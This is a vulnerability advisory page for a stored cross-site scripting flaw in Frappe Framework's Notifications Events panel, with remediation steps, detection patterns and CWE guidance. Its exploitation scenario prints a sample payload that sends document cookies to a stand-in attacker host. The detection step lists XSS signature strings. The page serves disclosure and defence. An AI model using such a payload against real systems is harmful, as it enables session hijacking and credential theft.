CVE-2026-50709: Frappe Framework: Stored XSS in Notifications Events panel
AWAITING NVDA stored cross-site scripting vulnerability in Frappe Framework 17.0.0-dev allows any attacker with write access to the Notifications Events panel to persist malicious JavaScript that executes silently in every authenticated user's browser session, including administrators. While Frappe is not an AI-native framework, it underpins AI-enabled business applications—ERPNext deployments, custom LLM workflow tools, and ML dashboards—where a compromised admin session cascades to AI service API keys, training data credentials, and pipeline configuration access. No public exploit code, no CISA KEV listing, and absent EPSS data indicate limited near-term mass exploitation risk, but the trivially low attack bar (standard XSS toolkit, no AI/ML knowledge required) and persistent nature of the payload justify prompt remediation. Patch to a post-17.0.0-dev release when available, restrict Notifications panel write access to trusted administrators via Frappe RBAC, enforce a strict Content-Security-Policy header at the reverse proxy, and audit notification event fields for injected script patterns.
What is the risk?
Medium overall risk. Exploitation requires attacker write-access to the Frappe notifications configuration, limiting opportunistic mass exploitation. However, once injected the payload executes persistently for all authenticated users with zero further attacker interaction—a high-value persistence primitive. The affected version is a development release (17.0.0-dev), which constrains production exposure in conservative environments, but organizations running bleeding-edge Frappe in staging, demo, or early-production deployments carrying AI service credentials face meaningful lateral-movement risk if an administrator session is harvested.
How does the attack unfold?
How severe is it?
What should I do?
5 steps-
Patch: Upgrade Frappe Framework beyond 17.0.0-dev once an official fix is released; track github.com/frappe/frappe for the remediation commit targeting CWE-79 in the Notifications Events panel.
-
Access restriction: Immediately restrict write permissions to the Notifications Events panel to a minimal set of trusted administrators using Frappe's role-based access control; remove the permission from all non-admin roles.
-
Content Security Policy: Enforce 'script-src self' and 'object-src none' at the Caddy or nginx reverse proxy level to contain XSS blast radius even if a payload reaches the database.
-
Detection: Query the Frappe database for notification event name or description fields containing '<script', 'onerror=', 'javascript:', 'eval(', or base64 payloads; alert on anomalous outbound HTTP requests originating from authenticated browser sessions.
-
Credential rotation: If exploitation is suspected, immediately rotate all API keys, session secrets, and AI service credentials accessible through the Frappe instance.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-50709?
A stored cross-site scripting vulnerability in Frappe Framework 17.0.0-dev allows any attacker with write access to the Notifications Events panel to persist malicious JavaScript that executes silently in every authenticated user's browser session, including administrators. While Frappe is not an AI-native framework, it underpins AI-enabled business applications—ERPNext deployments, custom LLM workflow tools, and ML dashboards—where a compromised admin session cascades to AI service API keys, training data credentials, and pipeline configuration access. No public exploit code, no CISA KEV listing, and absent EPSS data indicate limited near-term mass exploitation risk, but the trivially low attack bar (standard XSS toolkit, no AI/ML knowledge required) and persistent nature of the payload justify prompt remediation. Patch to a post-17.0.0-dev release when available, restrict Notifications panel write access to trusted administrators via Frappe RBAC, enforce a strict Content-Security-Policy header at the reverse proxy, and audit notification event fields for injected script patterns.
Is CVE-2026-50709 actively exploited?
No confirmed active exploitation of CVE-2026-50709 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-50709?
1. Patch: Upgrade Frappe Framework beyond 17.0.0-dev once an official fix is released; track github.com/frappe/frappe for the remediation commit targeting CWE-79 in the Notifications Events panel. 2. Access restriction: Immediately restrict write permissions to the Notifications Events panel to a minimal set of trusted administrators using Frappe's role-based access control; remove the permission from all non-admin roles. 3. Content Security Policy: Enforce 'script-src self' and 'object-src none' at the Caddy or nginx reverse proxy level to contain XSS blast radius even if a payload reaches the database. 4. Detection: Query the Frappe database for notification event name or description fields containing '<script', 'onerror=', 'javascript:', 'eval(', or base64 payloads; alert on anomalous outbound HTTP requests originating from authenticated browser sessions. 5. Credential rotation: If exploitation is suspected, immediately rotate all API keys, session secrets, and AI service credentials accessible through the Frappe instance.
What systems are affected by CVE-2026-50709?
This vulnerability affects the following AI/ML architecture patterns: Web-based AI interfaces, ML UI dashboards, Business application AI integrations, Frappe-backed agent workflow UIs, ERP systems with AI-augmented analytics.
What is the CVSS score for CVE-2026-50709?
No CVSS score has been assigned yet.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0025 Exfiltration via Cyber Means AML.T0049 Exploit Public-Facing Application AML.T0055 Unsecured Credentials Compliance Controls Affected
What are the technical details?
Original Advisory
A Stored Cross-Site Scripting (XSS) vulnerability exists in Frappe Framework version 17.0.0-dev due to improper neutralization of user-controlled input in the Notifications > Events panel.
Exploitation Scenario
An adversary with low-privileged write access to a Frappe instance—obtained via a compromised support account, a misconfigured demo environment, or an insider—navigates to the Notifications Events panel and inserts a stored XSS payload into an event name or description field. The payload, for example an <img src=x onerror='fetch("https://attacker.io/exfil?c="+document.cookie)'> tag, is stored in the Frappe database without sanitization. Any authenticated user who subsequently views the Events panel—including system administrators—receives the malicious script and involuntarily beacons their session token to the attacker. In an AI/ML deployment context, the attacker reuses the harvested admin session to access Frappe system settings containing LLM provider API keys, reconfigure AI webhook endpoints to attacker-controlled URLs, or export dataset records processed by AI-augmented workflows—all without triggering further authentication challenges.
Weaknesses (CWE)
CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-79 Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') CWE-79 — Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting'): The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users.
- [Architecture and Design] Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. Examples of libraries and frameworks that make it easier to generate properly encoded output include Microsoft's Anti-XSS library, the OWASP ESAPI Encoding module, and Apache Wicket.
- [Implementation, Architecture and Design] Understand the context in which your data will be used and the encoding that will be expected. This is especially important when transmitting data between different components, or when generating outputs that can contain multiple encodings at the same time, such as web pages or multi-part mail messages. Study all expected communication protocols and data representations to determine the required encoding strategies. For any data that will be output to another web page, especially any data that was received from external inputs, use the appropriate encoding on all non-alphanumeric characters. Parts of the same output document may require different encodings, which will vary depending on whether the output is in the: etc. Note that HTML Entity Encoding is only appropriate for the HTML body. Consult the XSS Prevention Cheat Sheet [REF-724] for more details on the types of encoding and escaping that are needed. HTML body Element attributes (such as src="XYZ") URIs JavaScript sections Casca
Source: MITRE CWE corpus.
Timeline
Related Vulnerabilities
CVE-2026-21858 10.0 n8n: Input Validation flaw enables exploitation
Same attack type: Data Extraction CVE-2025-2828 10.0 LangChain RequestsToolkit: SSRF exposes cloud metadata
Same attack type: Data Extraction CVE-2025-53767 10.0 Azure OpenAI: SSRF EoP, no auth required (CVSS 10)
Same attack type: Data Extraction CVE-2023-3765 10.0 MLflow: path traversal allows arbitrary file read
Same attack type: Data Extraction GHSA-vvpj-8cmc-gx39 10.0 picklescan: security flaw enables exploitation
Same attack type: Auth Bypass